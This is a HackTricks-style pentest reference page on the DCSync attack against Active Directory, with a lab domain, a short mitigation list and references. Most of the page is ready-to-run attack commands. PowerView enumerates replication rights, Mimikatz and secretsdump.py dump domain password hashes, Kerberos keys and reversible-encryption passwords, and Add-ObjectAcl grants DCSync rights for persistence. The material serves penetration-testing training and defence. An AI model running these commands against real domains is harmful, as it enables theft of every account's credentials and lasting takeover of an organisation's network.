DCSync - HackTricks

# DCSync

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## DCSync

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

Important Notes about DCSync:

- The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
- By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
- If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

### Enumeration

Check who has these permissions using `powerview`:

    Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

### Exploit Locally

    Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

### Exploit Remotely

    secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
    [-just-dc-user <USERNAME>] #To get only of that user
    [-pwd-last-set] #To see when each account's password was last changed
    [-history] #To dump password history, may be helpful for offline password cracking

`-just-dc` generates 3 files:

- one with the NTLM hashes

- one with the the Kerberos keys

- one with cleartext passwords from the NTDS for any accounts set with reversible encryption enabled. You can get users with reversible encryption with

      Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

### Persistence

If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:

    Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):

    Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

### Mitigation

- Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
- Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
- Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
- AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

## References

- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/

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